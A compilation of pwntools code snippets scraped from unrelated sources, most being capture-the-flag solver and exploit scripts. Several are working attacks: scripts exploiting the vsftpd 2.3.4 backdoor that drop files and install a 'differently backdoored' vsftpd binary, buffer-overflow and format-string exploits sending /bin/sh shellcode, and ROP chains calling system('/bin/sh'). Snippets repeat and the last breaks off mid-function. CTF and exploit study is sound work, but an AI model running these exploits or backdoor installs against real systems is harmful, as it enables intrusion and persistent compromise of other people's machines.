Example #1
0
        def accepter():
            while True:
                h = self.waitfor('Waiting for connections on %s:%s' % (self.lhost, self.lport))
                while True:
                    try:
                        if self.type == socket.SOCK_STREAM:
                            sock, rhost = listen_sock.accept()
                        else:
                            data, rhost = listen_sock.recvfrom(4096)
                            listen_sock.connect(rhost)
                            sock = listen_sock
                            self.unrecv(data)
                        sock.settimeout(self.timeout)
                        break
                    except socket.error as e:
                        if e.errno == errno.EINTR:
                            continue
                        h.failure()
                        self.exception("Socket failure while waiting for connection")
                        sock = None
                        return

                self.rhost, self.rport = rhost[:2]
                r = remote(self.rhost, self.rport, sock = sock)
                h.success('Got connection from %s on port %d' % (self.rhost, self.rport))
                if callback:
                    if not blocking:
                        t = context.Thread(target = callback, args = (r,))
                        t.daemon = True
                        t.start()
                    else:
                        callback(r)
                else:
                    self.connections.put(r)
Example #2
0
        def inner():
            _isRemote = isRemote
            e = None
            if remoteAddr == '' and elf == '':
                raise TypeError('Both of remoteAddr and elf is void')
            if remoteAddr == '':
                _isRemote = False
            if elf == '':
                _isRemote = True
            else:
                e = ELF(elf, checksec=False)

            if _isRemote:
                p = remote(*parseAddr(remoteAddr), *args, **kwargs)
                ida = IDAManage(isWork=False)
            else:
                p = process(elf, *args, **kwargs)
                ida = IDAManage(*parseAddr(idaAddr), p)
            try:
                func(p, ida, e)
                p.interactive()
            except InterruptedError:
                pass
            except Exception as e:
                traceback.print_exc()
            finally:
                ida.exit()
                ida.close()
Example #3
0
    def compromise(self, target, detect_val):
        """Perform the exploitation"""

        # detect_val should be socket we used to test for compromise
        # Saves an open socket

        payload = self.payload

        try:
            detect_val.sendline(b"USER anonymousD8")
            detect_val.recvline()
            detect_val.sendline(b"PASS ")
            detect_val.close()

            time.sleep(0.25)
            s = remote(target['ip'], 6200, timeout=0.25)

            for i in self.payload.files.keys():
                self.drop_file(s, i, payload.files[i])

            for i in self.payload.steps():
                if type(i) == float:
                    time.sleep(i)
                else:
                    s.sendline(i)

            s.close()
            logging.success(target, "vsftpd 2.3.4 patched backdoor exploited.")
        except PwnlibException:
            logging.failure(target, "vsftpd patched not available.")
        except:
            import traceback
            traceback.print_exc()

        return True
Example #4
0
    def compromise(self, target, detect_val):
        """Perform the exploitation"""

        # detect_val should be socket we used to test for compromise
        # Saves an open socket

        payload = self.payload

        try:
            detect_val.sendline(b"USER anonymousD8")
            detect_val.recvline()
            detect_val.sendline(b"PASS ")
            detect_val.close()

            time.sleep(0.25)
            s = remote(target['ip'], 6200, timeout=0.25)

            for i in self.payload.files.keys():
                self.drop_file(s, i, payload.files[i])

            for i in self.payload.steps():
                if type(i) == float:
                    time.sleep(i)
                else:
                    s.sendline(i)

            s.close()
            logging.success(target, "vsftpd 2.3.4 patched backdoor exploited.")
        except PwnlibException:
            logging.failure(target, "vsftpd patched not available.")
        except:
            import traceback
            traceback.print_exc()

        return True
Example #5
0
    def detect(self, target):
        """Detect a small change in the banner signifying compromise

           Also detect if there was already a shell running, if so close it.
        """
        try:
            s = remote(target['ip'], 6660, timeout=0.25)
            banner = s.recvuntil(".")

            return s
        except:
            return None
Example #6
0
    def detect(self, target):
        """Detect a small change in the banner signifying compromise

           Also detect if there was already a shell running, if so close it.
        """
        try:
            s = remote(target['ip'], 6660, timeout=0.25)
            banner = s.recvuntil(".")

            return s
        except:
            return None
Example #7
0
def submit_flag(flag,
                exploit=env_exploit_name,
                target=env_target_host,
                server=env_server,
                port=env_port,
                proto=env_proto,
                team=env_team_name):
    """
    Submits a flag to the game server

    Arguments:
        flag(str): The flag to submit.
        exploit(str): Exploit identifier, optional
        target(str): Target identifier, optional
        server(str): Flag server host name, optional
        port(int): Flag server port, optional
        proto(str), Flag server protocol, optional

    Optional arguments are inferred from the environment,
    or omitted if none is set.

    Returns:
        A string indicating the status of the key submission,
        or an error code.

    Doctest:

        >>> l = listen()
        >>> _ = submit_flag('flag', server='localhost', port=l.lport)
        >>> c = l.wait_for_connection()
        >>> c.recvall().split()
        ['flag', 'unnamed-exploit', 'unknown-target', 'unknown-team']
    """
    flag = flag.strip()

    log.success("Flag: %r" % flag)

    data = "\n".join([flag,
                      exploit,
                      target,
                      team,
                      ''])

    if os.path.exists(env_file):
        write(env_file, data)
        return

    try:
        with remote(server, int(port)) as r:
            r.send(data)
            return r.recvall(timeout=1)
    except Exception:
        log.warn("Could not submit flag %r to %s:%s" % (flag, server, port))
Example #8
0
def run_session(x, y, b, guess_d, mod):
    tube = remote.remote('tiramisu.2021.ctfcompetition.com', 1337)
    # tube = pwnlib.tubes.remote.remote('127.0.0.1', port)
    # print(tube.recvuntil('== proof-of-work: '))
    if tube.recvline().startswith(b'enabled'):
        handle_pow()

    server_hello = read_message(tube, challenge_pb2.ServerHello)
    server_key = proto2key(server_hello.key)
    # print(server_hello)

    # private_key = ec.generate_private_key(ec.SECP224R1())
    out = challenge_pb2.EcdhKey()
    out.curve = challenge_pb2.EcdhKey.CurveID.SECP256R1
    out.public.x = x.to_bytes((x.bit_length() + 7) // 8, 'big')
    out.public.y = y.to_bytes((y.bit_length() + 7) // 8, 'big')

    client_hello = challenge_pb2.ClientHello()
    client_hello.key.CopyFrom(out)
    # print(client_hello)

    write_message(tube, client_hello)

    c = curve.P224
    c.b = b
    p = c.p
    try:
        guessed_shared_x = (guess_d * Point(x % p, y % p, curve=curve.P224)).x
    except ValueError:
        return False
    shared_key = guessed_shared_x.to_bytes(224 // 8, "big")
    # shared_key = private_key.exchange(ec.ECDH(), server_key)
    # print(shared_key)

    channel = AuthCipher(shared_key, CHANNEL_CIPHER_KDF_INFO,
                         CHANNEL_MAC_KDF_INFO)
    msg = challenge_pb2.SessionMessage()
    msg.encrypted_data.CopyFrom(channel.encrypt(IV, b'hello'))
    write_message(tube, msg)
    # print('msg:', msg)

    reply = read_message(tube, challenge_pb2.SessionMessage)
    # print("d: {}, mod: {}".format(guess_d, mod))
    # print('reply:', repr(reply))
    # import code
    # code.interact(local=locals())
    tube.close()
    if len(repr(reply)):
        return True
    return False
Example #9
0
 def __init__(self,
              ip: str = '',
              port: int = 0,
              proc: Union[process, ssh_channel] = None,
              isWork: bool = True) -> None:
     if not isWork:
         return
     self.proc = proc
     try:
         self.ida = remote(ip, port)
     except PwnlibException:
         error('Cannot connect to ' + ip + ' on port ' + port)
     else:
         self.isWork = True
Example #10
0
def submit_flag(flag,
                exploit=env_exploit_name,
                target=env_target_host,
                server=env_server,
                port=env_port,
                proto=env_proto,
                team=env_team_name):
    """
    Submits a flag to the game server

    Arguments:
        flag(str): The flag to submit.
        exploit(str): Exploit identifier, optional
        target(str): Target identifier, optional
        server(str): Flag server host name, optional
        port(int): Flag server port, optional
        proto(str), Flag server protocol, optional

    Optional arguments are inferred from the environment,
    or omitted if none is set.

    Returns:
        A string indicating the status of the key submission,
        or an error code.

    Doctest:

        >>> l = listen()
        >>> _ = submit_flag('flag', server='localhost', port=l.lport)
        >>> c = l.wait_for_connection()
        >>> c.recvall().split()
        ['flag', 'unnamed-exploit', 'unknown-target', 'unknown-team']
    """
    flag = flag.strip()

    log.success("Flag: %r" % flag)

    data = "\n".join([flag, exploit, target, team, ''])

    if os.path.exists(env_file):
        write(env_file, data)
        return

    try:
        with remote(server, int(port)) as r:
            r.send(data)
            return r.recvall(timeout=1)
    except Exception:
        log.warn("Could not submit flag %r to %s:%s" % (flag, server, port))
Example #11
0
def submit_flag(flag,
                exploit=env_exploit_name,
                target=env_target_host,
                server=env_server,
                port=env_port,
                proto=env_proto,
                team=env_team_name):
    """
    向比赛服务器提交 flag

    Arguments:
        flag(str): 需要被提交的 flag.
        exploit(str): Exploit ID, 可选
        target(str): 目标ID, 可选
        server(str): Flag 服务器的地址(主机名), 可选
        port(int): Flag 服务器的端口, 可选
        proto(str), Flag 服务器的协议, 可选

    可选参数会从环境变量中获得, 或者会被排除在外

    Returns:
        一个字符串表示提交的结果或者返回一个错误代码

    Doctest:

        >>> l = listen()
        >>> _ = submit_flag('flag', server='localhost', port=l.lport)
        >>> c = l.wait_for_connection()
        >>> c.recvall().split()
        ['flag', 'unnamed-exploit', 'unknown-target', 'unknown-team']
    """
    flag = flag.strip()

    log.success("Flag: %r" % flag)

    data = "\n".join([flag, exploit, target, team, ''])

    if os.path.exists(env_file):
        write(env_file, data)
        return

    try:
        with remote(server, int(port)) as r:
            r.send(data)
            return r.recvall(timeout=1)
    except Exception:
        log.warn("Could not submit flag %r to %s:%s" % (flag, server, port))
Example #12
0
    def compromise(self, target, detect_val):
        """Perform the exploitation"""

        # detect_val should be socket we used to test for compromise
        # Saves an open socket

        payload = self.payload

        try:
            detect_val.sendline(b"USER anonymous:)")
            detect_val.recvline()
            detect_val.sendline(b"PASS ")
            detect_val.close()

            time.sleep(0.25)
            s = remote(target['ip'], 6200, timeout=0.25)

            for i in self.payload.files.keys():
                self.drop_file(s, i, payload.files[i])

            for i in self.payload.steps():
                if type(i) == float:
                    time.sleep(i)
                else:
                    s.sendline(i)

            # Patch the vsftpd with a differently backdoored one
            self.drop_file(s, "vsftpd.lol",
                           "/usr/local/sbin/vsftpd")
            s.sendline("chattr -i /etc/vsftpd.conf")
            s.sendline("chmod +w /etc/vsftpd.conf")
            s.sendline('printf "\\nuserlist_enable=YES\\nuserlist_file=/etc/'
                       'ftpusers\\n" >> /etc/vsftpd.conf')
            s.sendline("chmod -w /etc/vsftpd.conf")
            s.sendline("chattr -i /etc/vsftpd.conf")
            s.sendline("chmod 755 /usr/local/sbin/vsftpd")
            s.sendline("service xinetd restart")

            s.close()
            logging.success(target, "vsftpd 2.3.4 backdoor exploited.")
        except PwnlibException:
            logging.failure(target, "vsftpd not vulnerable or patched.")
        except:
            import traceback
            traceback.print_exc()

        return True
Example #13
0
    def compromise(self, target, detect_val):
        """Perform the exploitation"""

        # detect_val should be socket we used to test for compromise
        # Saves an open socket

        payload = self.payload

        try:
            detect_val.sendline(b"USER anonymous:)")
            detect_val.recvline()
            detect_val.sendline(b"PASS ")
            detect_val.close()

            time.sleep(0.25)
            s = remote(target['ip'], 6200, timeout=0.25)

            for i in self.payload.files.keys():
                self.drop_file(s, i, payload.files[i])

            for i in self.payload.steps():
                if type(i) == float:
                    time.sleep(i)
                else:
                    s.sendline(i)

            # Patch the vsftpd with a differently backdoored one
            self.drop_file(s, "vsftpd.lol", "/usr/local/sbin/vsftpd")
            s.sendline("chattr -i /etc/vsftpd.conf")
            s.sendline("chmod +w /etc/vsftpd.conf")
            s.sendline('printf "\\nuserlist_enable=YES\\nuserlist_file=/etc/'
                       'ftpusers\\n" >> /etc/vsftpd.conf')
            s.sendline("chmod -w /etc/vsftpd.conf")
            s.sendline("chattr -i /etc/vsftpd.conf")
            s.sendline("chmod 755 /usr/local/sbin/vsftpd")
            s.sendline("service xinetd restart")

            s.close()
            logging.success(target, "vsftpd 2.3.4 backdoor exploited.")
        except PwnlibException:
            logging.failure(target, "vsftpd not vulnerable or patched.")
        except:
            import traceback
            traceback.print_exc()

        return True
Example #14
0
def solve():
    r = remote('124.71.145.165', 9999)
    rr = r.recv()
    rr = r.recv()
    Mr = []
    times = 100
    for _ in range(times):
        r.sendline('2')
        rr = r.recv()
        m = [float(x) for x in rr[:-3].split(',')]
        if len(m) < 47:
            r.sendline('2')
            rr = r.recv()
            m.extend([float(x) for x in rr[:-3].split(',')])
        Mr.append(m[:])
    r.close()
    col = 47
    ret = [0] * col
    for ii in range(col):
        ret[ii] = round(sum([Mr[x][ii] for x in range(times)]) / times)
    iret = [int(x) for x in ret]
    return ''.join([chr(x) for x in iret])
Example #15
0
 def attack(self, raw_exploit: bool = False, endline: bytes = ""):
     try:
         target = self.__uri.split("//")[1].split(":")
         ip = target[0]
         port = int(target[1])
         print(f"[*] Sending buffer to target => {ip}:{port}")
         if raw_exploit:
             with socket(AF_INET, SOCK_STREAM) as s:
                 s.connect((ip, port))
                 s.send(self.__buffer + bytes(endline, self.__encoding))
                 s.recv(1024)
         else:
             p = remote(ip, port)
             if endline:
                 p.newline = bytes(endline, self.__encoding)
                 p.sendline(self.__buffer)
             else:
                 p.send(self.__buffer)
             p.recv(1024)
         print("[*] Check the listener!")
     except Exception as e:
         print(f"{e}")
         print("[-] Unable to send exploit.")
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p32
from time import sleep

random_addr = 0xff89e360
no_whitespace_shellcode = '\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68' \
                          '\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04' \
                          '\xcd\x80\xc0\xe8\x03\xcd\x80'

for i in range(10000):
    print i
    try:
        r = remote('pwning.pwnable.tw', 48879)
        print r.recvuntil(':')
        r.sendline('A'*92 + p32(random_addr) + '\x90'*2048 + no_whitespace_shellcode)
        print r.recvuntil('!!\n')
        sleep(0.3)
        r.sendline('cat /home/bofsofun/flag')
        sleep(0.3)
        print r.recv()
    except:
        pass
    r.shutdown()
if __name__ == "__main__":
    #Grab data from local text file for speed and consistency
    #-------------------------------------------#
    satellites = load.tle('stations.txt')
    #-------------------------------------------#

    #Kick off and connect to challenge.py
    #-------------------------------------------#
    Ticket = os.getenv("TICKET", "")

    #Host = os.getenv("HOST","")
    #Port = int(os.getenv("PORT","0"))
    Host = os.getenv("HOST", "172.17.0.1")
    Port = int(os.getenv("PORT", "31338"))

    conn = remote(Host, Port)

    if len(Ticket) > 0:
        conn.recvline()
        conn.send(Ticket + "\n")
    #-------------------------------------------#

    #Grab time and coordinates to find the satellite
    #-------------------------------------------#
    #print(f"Satellite time {satellite_time}")

    satellite_time = re.search(
        b'.*:\((2020), (3), (18), (\d+), (\d+), (\d+\.\d*)\)',
        conn.recvline(timeout=20))
    year = int(satellite_time.group(1))
    month = int(satellite_time.group(2))
Example #18
0
#! /usr/bin/env python3
from pwnlib.tubes import remote

# Get from solver-static.py
STATIC_INPUT_PASSWORD = b'\x02\x14\x05\x17\x17\x1b\x13\x16\t\x04\x0c\x05\x17\x0c\r\x12\x08)'

PROCESS = remote.remote('localhost', 1337)

print(PROCESS.recvuntil(b'Please enter password below\n'))

# print('Sending cracked password...')

PROCESS.sendline(STATIC_INPUT_PASSWORD)

# print('Password sent')

line = PROCESS.recvline(keepends=False)
print(line)

if line == b'Login successful!':
    print(PROCESS.recvuntil(b'sdctf{'))
    print(PROCESS.recvuntil(b'}'))
    exit(0)
else:
    print('No flag for me :(')
    exit(1)
"""
#include <stdio.h>
int main() {
    int impossible_number;
    FILE *flag;
    char c;
    if (scanf("%d", &impossible_number)) {
        if (impossible_number > 0 && impossible_number > (impossible_number + 1)) {
            flag = fopen("flag.txt","r");
            while((c = getc(flag)) != EOF) {
                printf("%c",c);
            }
        }
    }
    return 0;
}
"""

from pwnlib.tubes.remote import remote

conn = remote('8bad377f8c78b9a0.247ctf.com',50324)
# max signed integer size
conn.send(f'{0x7FFFFFFF}\r\n'.encode())
print(conn.recvline().rstrip().decode())
conn.close()
Example #20
0
def main():
    global p

    # Set word size to 64 bits
    context.arch = 'amd64'

    if len(sys.argv) > 1:
        if sys.argv[1] == "remote":
            p = remote("ctf.pwn.sg", 1500)
        else:
            p = process(sys.argv[1])
            print '[*] Started process PID = %d' % p.proc.pid
    else:
        p = process("./realbabypwn")
        print '[*] Started process PID = %d' % p.proc.pid

    #############
    ## Exploit ##
    #############

    # Get canary value to defeat StackGuard.

    # Step 1: Find the offset of the numbers from the canary address.
    # Answer: 289
    # Location of the first Fibonacci number
    offset_address = 0x7fffffffdac0
    canary_address = 0x7fffffffe3c8  # Location of the canary
    offset = (canary_address - offset_address) / 8
    print '[*] Calculated offset:', offset

    # Step 2a: Fetch the first 8 bytes of the canary value.
    canary1_value = get_value_from_fib(offset)
    canary1 = pack(canary1_value)
    print '[*] Dumped canary part 1:', hexlify(canary1)

    # Step 2b: Fetch the next 8 bytes of the canary value.
    p.sendline('y')
    canary2_value = get_value_from_fib(offset + 1)
    canary2 = pack(canary2_value)
    print '[*] Dumped canary part 2:', hexlify(canary2)

    # Step 2c: Get value of original return address.
    p.sendline('y')
    original_return_value = get_value_from_fib(offset + 2)
    original_return = pack(original_return_value)
    print '[*] Original return address:', hexlify(original_return)

    # Step 3: Craft payload in the vulnerable input.
    babymode_offset = -0x1e2  # Relative address found from debugging

    # NOTE: Need to adjust offset to skip first (or first 2) instructions:
    # push rbp; mov rbp,rsp (not important as it only saves $rbp and set $rsp)
    # Don't know why it works locally but not on the server.
    babymode_offset += 0x04  # Setting to +0x01 also works

    babymode_address = original_return_value + babymode_offset
    target = pack(babymode_address)

    print '[*] New target address:', hexlify(target)
    payload = canary1 + canary2 + target
    print '[*] Payload:', hexlify(payload)

    # Step 4: Compute the size of the buffer.
    # Location of the buffer to overflow
    buffer_address = 0x7fffffffdab7
    overflow_size = canary_address - buffer_address
    print '[*] Calculate overflow size:', overflow_size

    # raw_input("Press enter to send payload...")

    # Step 5: Send the full payload.
    full_payload = '\x6e' * overflow_size + payload
    print '[*] Sending payload...'
    p.sendline(full_payload)

    # raw_input("Press enter to continue...")

    p.sendline('')
    p.clean(1)

    print '[*] Switching to interactive mode...'

    p.interactive()
Example #21
0
def encode(eq):
    out = []
    for c in eq:
        q = bin(ord(c)^(2<<4)).lstrip("0b")
        q = "0" * ((2<<2)-len(q)) + q
        out.append(q)
    b = ''.join(out)
    pr = []
    for x in range(0,len(b),2):
        c = chr(int(b[x:x+2],2)+51)
        pr.append(c)
    s = '.'.join(pr)
    return s

r = remote('188.166.133.53', 11071)

while True:
    lines = r.recvlines(2)
    print '\n'.join(lines)

    eq = decode(lines[1].split()[2])
    print 'equation:', eq
    sp = eq.split()

    if sp[1] == '+':
        x = int(sp[4]) - int(sp[2])
    elif sp[1] == '-':
        x = int(sp[4]) + int(sp[2])
    elif sp[1] == '*':
        x = int(sp[4]) / int(sp[2])
Example #22
0
                if self.left is None:
                    self.left = Node(data)
                else:
                    self.left.insert(data)
            elif data > self.data:
                if self.right is None:
                    self.right = Node(data)
                else:
                    self.right.insert(data)
        else:
            self.data = data
 
def buildtree(mylist):
    root = Node(mylist.pop(0))
    for i in mylist:
        root.insert(i)
    ouput = []
    return root.gettree(ouput)
 
r = remote('188.166.133.53', 11491)
print(r.recvline())
while True:
    graph = r.recvline()
    print(graph)
    graph = graph.split('[')[1].split(']')[0]
    graph = '[' + graph + ']'
    print(graph)
    mylist = ast.literal_eval(graph)
    answer = repr(buildtree(mylist))
    print(answer)
    print(r.sendlinethen('\n',answer))
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p32
from libformatstr import FormatStr
from time import sleep

argnum = 7
padding = 0
puts_got = 0x08049A48
print_addr = 0x080486C7
no_whitespace_shellcode = '\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68' \
                          '\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04' \
                          '\xcd\x80\xc0\xe8\x03\xcd\x80'

r = remote('pwning.pwnable.tw', 56026)

# Change the GOT entry of puts to the address right before the
# format string bug and leak some information about stack at
# the same time. This allows us to exploit the same bug again
# with all information needed.
print r.recvuntil(':')
fmt = FormatStr()
fmt[puts_got] = print_addr
r.sendline(fmt.payload(argnum, padding) + '%33$x')

# Calculate the address where the shellcode is going to be placed
# from the information leaked by the format string '%33$x' above.
result = r.recvuntil(':')
print result
print 'stack debris:', result[-34:-26]
shellcode_addr = int(result[-34:-26], 16) - 216
print 'shellcode address:', hex(shellcode_addr)
Example #24
0
# Very simple TCP client for a remote interactive service
# Using pwntools https://docs.pwntools.com/en/stable/

from pwnlib.tubes.remote import remote

print "Connecting"
r = remote('hostname', 10001)
r.recvuntil("Choice? ")
print "Send 2"
r.sendline("2")
r.recvuntil("Url? ")
print "Send url"
r.sendline('http://url')
print "-> "
r.interactive()
Example #25
0
from pwn import pwnlib
from pwnlib.tubes.remote import remote
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
from string import ascii_letters, digits
from math import sqrt
from Crypto.Util.number import *
from gmpy2 import next_prime

r = remote('182.92.153.117', 30101)
re1 = r.recvline()
nonce = re1[8:16]


def check(s):
    mes = (str(nonce)[2:-1] + s).encode('Latin-1')
    return sha256(mes).digest().hex().startswith("00000")


def get_NC(delta=16):
    Ns = [0] * 32
    Cs = [0] * 32
    ed = pow(2, delta)
    point = int(sqrt(1.1) * pow(2, 32))
    count = 0
    flag = 0
    for ii in range(63):
        N = next_prime(getRandomRange(point - ed, point + ed))
        r.sendline('god')
        r.sendline(str(N))
        re2 = r.recvline()
Example #26
0
    with open(my_note_txt, 'r') as fh:
        my_server_number = ''.join(
            list(
                filter(str.isdigit,
                       re.search("Phone #: ([0-9\-]+)", fh.read()).group(1))))

    print(f"    My server number:       {my_server_number}")

    ################################################################################################
    # Done with files, interact with challenge docker

    print("")
    print("=== SECTION 2/2 - Interacting with challenge docker ===")

    try:
        t = remote(Host, Port)
        if len(Ticket):
            t.recvline()
            t.sendline(Ticket)
            print("Sent Ticket: " + Ticket)
        debug_recv_and_send("[STEP 1/19] Waiting for initial banner",
                            "Connected to /dev/ttyACM0\n",
                            "[STEP 2/19] Dialing into my server",
                            f"ATD{my_server_number}")

        debug_recv_and_send(
            "[STEP 3/19] Waiting for my server's username prompt",
            "Username: "******"[STEP 4/19] Sending my server's username", "hax")

        debug_recv_and_send(
            "[STEP 5/19] Waiting for my server's password prompt",
Example #27
0
from pwnlib.tubes.remote import remote

def sxor(s1, s2):
    return ''.join(chr(ord(a)^ord(b)) for a, b in zip(s1, s2))

def falsify(hashcode):
    key = sxor('TRANSACTION: 1000', hashcode.decode('hex'))
    return sxor('TRANSACTION:99999', key).encode('hex')


r = remote('188.166.133.53', 10061)

for i in range(20):
    print r.recvuntil('Command: ')
    r.sendline('create 1000')

    line = r.recvline()
    print line
    hashcode = line.split()[-1]

    print r.recvuntil('Command: ')
    r.sendline('complete ' + str(i) + ' ' + falsify(hashcode))

print r.recvuntil('Command: ')
Example #28
0
File: exp1.py Project: zihuocc/ctfs
def new_connection():
    return remote('34.92.121.149', 54321)
Example #29
0
File: run.py Project: Readm/VRL
    def run(self):
     if self.options['architecture'] == 'amd64':
      if self.options['static'] == 'False':
        '''Run your exploit here, if this script could success, the VRL can run it.
        When the exploit run, follow the options.'''
      
        p = remote(self.options['dIP'], int(self.options['port']))
      
        #a = raw_input('input: ')


        #set /bin/sh ASCII
        binsh = p32(0x6e69622f) + p32(0x0068732f)
        
        #set payload
        payload = 'a'*(self.property['offset']-8) + binsh + p32(self.property['limit']) + p32(self.property['choose']) + p64(self.property['p']) + p64(self.property['q'])
        #send payload
        p.sendline(payload)
        #recv
        recv_data = p.recv()
        print 'rev1: ' + recv_data


        #set payload
        payload = 'a'*(self.property['offset']-8) + binsh + p32(self.property['limit']) + p32(self.property['choose'])
        #send payload
        p.sendline(payload)
        #recv  get new sysaddress here
        recv_data = p.recvline()
        print 'rev2: ' + recv_data
        self.property['sysaddress'] = int(recv_data,16)
        print "sysaddress = " + hex(self.property['sysaddress'])

        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        #get /bin/sh offset
        binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
        print "binsh_addr_offset = " + hex(binsh_addr_offset)
        #get /bin/sh address
        binsh_addr = self.property['sysaddress'] + binsh_addr_offset
        print "binsh_addr = " + hex(binsh_addr)

        
        #set payload
        self.property['choose'] = 2
        self.property['p'] = 0x601098
        self.property['q'] = 0x7fffffffdc78
        payload = 'a'*(self.property['offset']-8)+ p64(self.property['sysaddress']) + p32(self.property['limit']) + p32(self.property['choose']) + p64(self.property['p']) + p64(self.property['q'])
        #send payload
        p.sendline(payload)
        #recv
        recv_data = p.recvline()
        print 'rev3: ' + recv_data


        #set payload
        self.property['choose'] = 2
        self.property['p'] = 0x60109c
        self.property['q'] = 0x7fffffffdc7c
        payload = 'a'*(self.property['offset']-8)+ p64(self.property['sysaddress']) + p32(self.property['limit']) + p32(self.property['choose']) + p64(self.property['p']) + p64(self.property['q'])
        #send payload
        p.sendline(payload)
        #recv
        recv_data = p.recvline()
        print 'rev4: ' + recv_data


        #set payload
        self.property['limit'] = 0
        self.property['choose'] = 3
        self.property['p'] = 0x601070
        self.property['q'] = 0x601078
        payload = binsh + 'a'*(self.property['offset']-8) + p32(self.property['limit']) + p32(self.property['choose']) + p64(self.property['p']) + p64(self.property['q'])
        #send payload
        p.sendline(payload)


        

        print 'interactive'
        p.interactive()

        

      else:
        print 'static'
     elif self.options['architecture'] == 'i386':

      if self.options['static'] == 'False':
        print 'dl'
       
      else:
        print 'static'
       
     else:
        print 'Unrecognized architecture, stop.'
        return
Example #30
0
def proxy(port=9999):
    """Starts an ADB proxy on the specified port, for debugging purposes."""
    l = listen(port)
    l.wait_for_connection()
    r = remote(context.adb_host, context.adb_port, level='debug')
    l <> r
Example #31
0
def connect(hostname):
    return remote(hostname, PORT)
Example #32
0
#!/usr/bin/env python2
# encoding: utf-8
from __future__ import print_function

from pwnlib import context
context.log_level = 'error'

from pwnlib.tubes.remote import remote


for i in range(4611686018427387604, 4611686018427387904):
    r = remote('192.168.56.101', 53121)
    #for j in range(10):
    #    r.send("new\nset\n{}\n".format(j) + "A" * 32 + "\n")
    print(r.recv())
    r.send("show\n")
    print(r.recv())
    r.send("-{}\n".format(i))
    try:
        print(r.recv())
    except:
        pass
    r.close()
Example #33
0
    def run(self):
     if self.options['architecture'] == 'amd64':
      if self.options['static'] == 'False':
        '''Run your exploit here, if this script could success, the VRL can run it.
        When the exploit run, follow the options.'''
       # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        #s.connect((self.options['dIP'], int(self.options['port'])))
        p = remote(self.options['dIP'], int(self.options['port']))
        #p = process('../../vulnerabilities/coop/coop')
        a = raw_input('input: ')


        #set /bin/sh ASCII
        binsh = p32(0x6e69622f) + p32(0x0068732f) + p32(0x74697865) + p32(0x63003020) + p32(0x6e6f6e61) + p32(0x6c616369)
        
        #set payload
        temppayload = "b"*2
        #s.send(temppayload)
        p.sendline(temppayload)

        
        payload = binsh + p64(self.property['courseMLoopVptr']) + p64(self.property['studentsptr']) + p64(self.property['nstudent']) + p64(self.property['studentptr0']) + p64(self.property['studentptr1']) + p64(self.property['studentptr3']) + p64(self.property['studentptr2']) + p64(self.property['coursePrintfSystemVptr']) + p64(self.property['studentReadString']) + p64(self.property['examSumScore']) + p64(self.property['scoreA']) + p64(self.property['scoreB']) + p64(self.property['scoreC']) + p64(self.property['buibuttonClicked']) + p64(self.property['sysaddress'])
        #s.send(payload)
        p.sendline(payload)

        #get new sysaddress here
        #recv_data = s.recv(16)
        recv_data = p.recvline()
        self.property['sysaddress'] = int(recv_data,16)
        print "sysaddress = " + hex(self.property['sysaddress'])

        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

        #get /bin/sh offset
        binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
        print "binsh_addr_offset = " + hex(binsh_addr_offset)

        
        #get /bin/sh address
        binsh_addr = self.property['sysaddress'] + binsh_addr_offset
        
        print "binsh_addr = " + hex(binsh_addr)
        
        #set payload
        payload = p64(self.property['examSumScore']) + p64(self.property['scoreA']) + p64(self.property['scoreB']) + p64(self.property['scoreC']) + p64(self.property['buibuttonClicked']) + p64(binsh_addr) + p64(self.property['sysaddress'])
        #s.send(payload)
        p.sendline(payload)
        print 'interactive'
        #s.close()
        p.interactive()

      else:
        print 'static'
     elif self.options['architecture'] == 'i386':

      if self.options['static'] == 'False':
        print 'dl'
       
      else:
        print 'static'
       
     else:
        print 'Unrecognized architecture, stop.'
        return
Example #34
0
 def getremote(self):
     return remote(self.host, self.port)
Example #35
0
from pwnlib.tubes.remote import remote

r = remote('188.166.133.53', 12037)
r.send('aaaaaaaaaa\naaaaaaaaaa\n')
print r.recvall()
Example #36
0
    print("[" + str(low) + "," + str(up) + "]")


if __name__ == '__main__':

    n_len = n.bit_length()  #1024

    decimal.getcontext().prec = n_len + 1
    upper_bound = decimal.Decimal(n)
    lower_bound = decimal.Decimal(0)
    print_bounds(lower_bound, upper_bound)

    c = ciphertext
    for i in range(n_len):
        c = (pow(2, e, n) * c) % n

        oracle = remote(HOST, PORT)
        oracle.send(to_bytes(c, n_len))
        ans = oracle.recv(1024)

        if ans[0] == 1:
            lower_bound = (lower_bound + upper_bound) / 2
        else:

            upper_bound = (lower_bound + upper_bound) / 2
        print_bounds(lower_bound, upper_bound)

    # lower_bound == upper_bound == decrypted message
    print(to_bytes(int(lower_bound), n_len).decode())
    print(to_bytes(int(upper_bound), n_len).decode())
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p32
from time import sleep
from libformatstr import make_pattern, guess_argnum

buf_size = 79

r = remote("127.0.0.1", 4444)

print r.recvuntil(":")
r.sendline(make_pattern(buf_size))
result = r.recvall()
print result
print "argnum:{}, padding:{}".format(*guess_argnum(result, buf_size))
Example #38
0
    def run(self):
        if self.options['architecture'] == 'amd64':
            if self.options['static'] == 'False':
                '''Run your exploit here, if this script could success, the VRL can run it.
        When the exploit run, follow the options.'''

                p = remote(self.options['dIP'], int(self.options['port']))

                #a = raw_input('input: ')

                #set /bin/sh ASCII
                binsh = p32(0x6e69622f) + p32(0x0068732f)

                #set payload
                payload = 'a' * (self.property['offset'] - 8) + binsh + p32(
                    self.property['limit']) + p32(
                        self.property['choose']) + p64(
                            self.property['p']) + p64(self.property['q'])
                #send payload
                p.sendline(payload)
                #recv
                recv_data = p.recv()
                print 'rev1: ' + recv_data

                #set payload
                payload = 'a' * (self.property['offset'] - 8) + binsh + p32(
                    self.property['limit']) + p32(self.property['choose'])
                #send payload
                p.sendline(payload)
                #recv  get new sysaddress here
